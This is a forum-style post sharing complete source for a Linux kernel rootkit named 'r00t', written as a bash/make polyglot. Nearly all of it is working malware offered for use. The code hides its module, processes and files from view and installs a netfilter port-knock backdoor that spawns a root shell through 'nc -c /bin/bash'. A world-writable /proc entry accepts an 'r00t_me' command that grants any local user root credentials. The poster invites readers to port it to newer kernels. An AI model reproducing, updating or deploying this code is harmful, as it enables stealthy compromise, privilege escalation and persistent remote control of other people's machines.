Hopefully someone finds this useful despite the ancient kenel version targeted. Updating the code to target a newer kernel should not be too much hassle.
C:
#/* 2021-03-08
# * r00t linux rootkit targeting kernel 2.6.32-5-xen-amd64 x86_64.
# * and yes, not my problem that folks don't update their boxes.
# *
# * Features
# * - hide kernel modules, processes, files
# * - netfilter backdoor to run nc root shell
# * - this file is a (ba)sh/(gnu)make polyglot
# *
# * Issues
# * - /proc/r00t entry is hidden by hide_processes, not hide_module
# * - netfilter hook does not seem to work on some systems (no oopses though)
# *
# * Usage: READ THE FUCKING SOURCE, gtf0 scriptkiddiez....
# \
make -f $0 ARGV0=$0 $@; exit
# Makefile
obj-m = r00t.o
UNAME_R?=$(shell uname -r)
all: r00t.ko
r00t.ko: Makefile r00t.c
make -C /lib/modules/$(UNAME_R)/build M=$(PWD) modules
strip -d r00t.ko
clean: Makefile r00t.c
make -C /lib/modules/$(UNAME_R)/build M=$(PWD) clean
install: r00t.ko
insmod r00t.ko
# elifekaM
ARGV0 ?= $(lastword $(MAKEFILE_LIST))
Makefile: $(ARGV0)
sed -n '/^# Makefile/,/^# elifekaM/p' $< > $@
r00t.c: $(ARGV0)
mv $< $@
define slurp #*/
#include <linux/init.h>
#include <linux/ip.h>
#include <linux/kernel.h>
#include <linux/kobject.h>
#include <linux/module.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/pagemap.h>
#include <linux/skbuff.h>
#include <linux/sysfs.h>
#include <linux/tcp.h>
/*
* Default configuration, i.e., what to hide when the rootkit is loaded.
*/
static int module_hidden = 1;
static int processes_hidden = 1;
static int nf_backdoored = 0;
static int files_hidden = 0;
/*
* Write-protect cannot be disabled with CR0 in some environments (e.g. Xen).
*/
static void set_addr_rw(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long)addr, &level);
if (pte->pte & ~_PAGE_RW) pte->pte |= _PAGE_RW;
}
static void set_addr_ro(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long)addr, &level);
pte->pte = pte->pte & ~_PAGE_RW;
}
void run_nc(u16 port)
{
char buf[32];
char *argv[] = {
"/bin/nc", "-c", "/bin/bash", "-l", "-w120", "-p%hu",
NULL
};
char *envp[] = {
"HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
"R00T=HIDE",
NULL
};
sprintf(buf, "-p%hu", port);
argv[5] = &buf[0];
call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
}
unsigned int nf_hook_func(unsigned int hooknum, struct sk_buff *skb,
const struct net_device *in, const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
static unsigned short last = 0;
struct iphdr *ip;
if (skb && (ip = ip_hdr(skb))->protocol == IPPROTO_TCP
&& (ip->ihl << 2) == sizeof(struct iphdr)) {
struct tcphdr *tcp;
unsigned short dest;
tcp = (struct tcphdr *)(skb->data + (ip->ihl << 2));
if (be16_to_cpu(tcp->source) == 666
&& (dest = be16_to_cpu(tcp->dest)) != last) {
switch (dest) {
case 1597: case 2584: case 4181: case 6765:
case 10946: case 17711: case 28657: case 46368:
run_nc((last = dest));
return NF_DROP;
default: break;
}
}
}
return NF_ACCEPT;
}
static struct nf_hook_ops nf_hook_ops;
int install_nf_backdoor(void)
{
nf_hook_ops.hook = &nf_hook_func;
nf_hook_ops.hooknum = NF_INET_PRE_ROUTING;
nf_hook_ops.pf = PF_INET;
nf_hook_ops.priority = NF_IP_PRI_FIRST;
return nf_register_hook(&nf_hook_ops);
}
void uninstall_nf_backdoor(void)
{
nf_unregister_hook(&nf_hook_ops);
}
/*
* Since proc_root etc. may not be exported in the target system.
*/
struct file_operations *get_fops(const char *path)
{
struct file *filp;
struct file_operations *fops;
filp = filp_open(path, O_RDONLY, 0);
if (!filp) return NULL;
fops = (struct file_operations *)filp->f_op;
filp_close(filp, NULL);
return fops;
}
static int (*proc_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t proc_filldir_orig;
int r00t_proc_filldir(void *buf, const char *name, int namlen, loff_t offset,
u64 ino, unsigned int d_type)
{
const char *p;
pid_t pid;
int hide;
if (!strcmp(name, "r00t"))
return 0;
/*
* If this is a PID entry, hide the process if it has R00T=HIDE set
* in the environment.
*/
hide = 0;
for (p = name; *p >= '0' && *p <= '9'; p++);
if (*p == '\0' && p != name && sscanf(name, "%d", &pid)) {
struct task_struct *tsk;
struct mm_struct *mm;
struct vm_area_struct *vma;
size_t len;
struct page *page;
char *maddr;
int offset, i;
/* Should we use get_task_mm? At least lock the fucking tsk.. */
tsk = pid_task(find_vpid(pid), PIDTYPE_PID);
if (!tsk || !(mm = tsk->mm)
|| !atomic_inc_not_zero(&mm->mm_users))
goto finish;
down_read(&mm->mmap_sem);
if (get_user_pages(tsk, mm, mm->env_start, 1, 0, 1,
&page, &vma) <= 0)
goto put;
i = 0;
maddr = (char *)kmap(page);
len = mm->env_end - mm->env_start;
offset = mm->env_start & (PAGE_SIZE-1);
while (i <= len-10) {
if (!strcmp(&maddr[offset+i], "R00T=HIDE")) {
hide = 1;
break;
}
/* i += strlen(&maddr[offset+i]) + 1; */
while (maddr[offset+i++] && i <= len-10);
}
kunmap(page);
page_cache_release(page);
put: up_read(&mm->mmap_sem);
mmput(mm);
}
finish:
if (hide)
return 0;
return proc_filldir_orig(buf, name, namlen, offset, ino, d_type);
}
int r00t_proc_readdir(struct file *fp, void *buf , filldir_t fdir)
{
proc_filldir_orig = fdir;
return proc_readdir_orig(fp, buf, r00t_proc_filldir);
}
static int hide_processes(void)
{
struct file_operations *proc_fops;
if ((proc_fops = get_fops("/proc"))) {
set_addr_rw(&proc_fops->readdir);
proc_readdir_orig = proc_fops->readdir;
proc_fops->readdir = r00t_proc_readdir;
set_addr_ro(&proc_fops->readdir);
return 0;
}
return -1;
}
static void show_processes(void)
{
if (proc_readdir_orig) {
struct file_operations *proc_fops = get_fops("/proc");
set_addr_rw(&proc_fops->readdir);
proc_fops->readdir = proc_readdir_orig;
set_addr_ro(&proc_fops->readdir);
}
}
static struct list_head *module_prev;
/*
* Hide module's sysfs directory entry.
*/
static int (*sysfs_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t sysfs_filldir_orig;
int r00t_sysfs_filldir(void *buf, const char *name, int namlen, loff_t offset,
u64 ino, unsigned int d_type)
{
if (!strcmp(name, "r00t"))
return 0;
return sysfs_filldir_orig(buf, name, namlen, offset, ino, d_type);
}
int r00t_sysfs_readdir(struct file *fp, void *buf , filldir_t fdir)
{
sysfs_filldir_orig = fdir;
return sysfs_readdir_orig(fp, buf, r00t_sysfs_filldir);
}
static int hide_module(void)
{
struct file_operations *sysfs_fops;
if ((sysfs_fops = get_fops("/sys"))) {
struct module *mod = &__this_module;
module_prev = mod->list.prev;
list_del(&mod->list);
set_addr_rw(&sysfs_fops->readdir);
sysfs_readdir_orig = sysfs_fops->readdir;
sysfs_fops->readdir = r00t_sysfs_readdir;
set_addr_ro(&sysfs_fops->readdir);
return 0;
}
return -1;
}
static void show_module(void)
{
struct module *mod = &__this_module;
list_add(&mod->list, module_prev);
if (sysfs_readdir_orig) {
struct file_operations *sysfs_fops = get_fops("/sys");
set_addr_rw(&sysfs_fops->readdir);
sysfs_fops->readdir = sysfs_readdir_orig;
set_addr_ro(&sysfs_fops->readdir);
}
}
static int (*rootfs_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t rootfs_filldir_orig;
int r00t_rootfs_filldir(void *buf, const char *name, int namlen, loff_t offset,
u64 ino, unsigned int d_type)
{
if (!strncmp(name, ".r00t_", 6))
return 0;
return rootfs_filldir_orig(buf, name, namlen, offset, ino, d_type);
}
int r00t_rootfs_readdir(struct file *fp, void *buf, filldir_t fdir)
{
rootfs_filldir_orig = fdir;
return rootfs_readdir_orig(fp, buf, r00t_rootfs_filldir);
}
static int hide_files(void)
{
struct file_operations *rootfs_fops;
if ((rootfs_fops = get_fops("/"))) {
set_addr_rw(&rootfs_fops->readdir);
rootfs_readdir_orig = rootfs_fops->readdir;
rootfs_fops->readdir = r00t_rootfs_readdir;
set_addr_ro(&rootfs_fops->readdir);
return 0;
}
return -1;
}
static void show_files(void)
{
if (rootfs_readdir_orig) {
struct file_operations *rootfs_fops = get_fops("/");
set_addr_rw(&rootfs_fops->readdir);
rootfs_fops->readdir = rootfs_readdir_orig;
set_addr_ro(&rootfs_fops->readdir);
}
}
struct proc_dir_entry *r00t_pde;
void r00t_command(const char *cmd)
{
/*printk(KERN_INFO "handle command: %s", cmd);*/
if (!strcmp(cmd, "r00t_me")) {
struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = 0;
credentials->gid = credentials->egid = 0;
commit_creds(credentials);
} else if (!module_hidden && !strcmp(cmd, "hide_module")) {
module_hidden = !hide_module();
} else if (module_hidden && !strcmp(cmd, "show_module")) {
show_module();
module_hidden = 0;
} else if (!processes_hidden && !strcmp(cmd, "hide_processes")) {
processes_hidden = !hide_processes();
} else if (processes_hidden && !strcmp(cmd, "show_processes")) {
show_processes();
processes_hidden = 0;
} else if (!nf_backdoored && !strcmp(cmd, "install_nf_backdoor")) {
nf_backdoored = !install_nf_backdoor();
} else if (nf_backdoored && !strcmp(cmd, "uninstall_nf_backdoor")) {
uninstall_nf_backdoor();
nf_backdoored = 0;
} else if (!files_hidden && !strcmp(cmd, "hide_files")) {
files_hidden = !hide_files();
} else if (files_hidden && !strcmp(cmd, "show_files")) {
show_files();
files_hidden = 0;
}
}
#define R00T_MAX_CMD_LEN 32
static int r00t_write_proc(struct file *file, const char __user *buf,
unsigned long len, void *data)
{
static char cmd_buf[2*R00T_MAX_CMD_LEN];
static int end = 0;
static int ignore = 0;
unsigned long len0 = len;
while (len > 0) {
int i, ncopy;
ncopy = (len > R00T_MAX_CMD_LEN) ? R00T_MAX_CMD_LEN : len;
if (copy_from_user(&cmd_buf[end], buf, ncopy))
break;
i = end;
end += ncopy;
buf += ncopy;
len -= ncopy;
while (i < end) {
if (cmd_buf[i++] != '\n')
continue;
if (!ignore && i <= R00T_MAX_CMD_LEN) {
cmd_buf[i-1] = 0;
r00t_command(cmd_buf);
} else {
ignore = 0;
}
memmove(cmd_buf, &cmd_buf[i], (end = end - i));
i = 0;
}
if (end > R00T_MAX_CMD_LEN) {
ignore = 1;
end = 0;
}
}
return (len < len0) ? len0 - len : -1 /* Nothing written */;
}
int r00t_read_proc(char *page, char **start, off_t off, int count,
int *eof, void *data)
{
if (off > 0) {
*eof = 1;
return 0;
}
return sprintf(page, "r00t: 1\n"
"module_hidden: %d\n"
"processes_hidden: %d\n"
"nf_backdoored: %d\n"
"files_hidden: %d\n",
module_hidden, processes_hidden,
nf_backdoored, files_hidden);
}
static int __init r00t_init(void)
{
/*printk(KERN_INFO "loading r00t!\n");*/
/* Create /proc/r00t */
r00t_pde = create_proc_entry("r00t", 0666, NULL);
if (!r00t_pde) {
/*printk(KERN_INFO "cannot create /proc/r00t");*/
return -1;
}
r00t_pde->read_proc = r00t_read_proc;
r00t_pde->write_proc = r00t_write_proc;
if (module_hidden)
module_hidden = !hide_module();
if (processes_hidden)
processes_hidden = !hide_processes();
if (nf_backdoored)
nf_backdoored = !install_nf_backdoor();
if (files_hidden)
files_hidden = !hide_files();
return 0;
}
static void __exit r00t_cleanup(void)
{
/*printk(KERN_INFO "cleaning up r00t\n");*/
if (module_hidden)
show_module();
if (processes_hidden)
show_processes();
if (nf_backdoored)
uninstall_nf_backdoor();
if (files_hidden)
show_files();
remove_proc_entry("r00t", NULL);
}
module_init(r00t_init);
module_exit(r00t_cleanup);
MODULE_LICENSE("GPL");
/*
MODULE_AUTHOR("def <def@huumeet.info>");
MODULE_DESCRIPTION("r00t linux kernel rootkit");
endef # define slurp */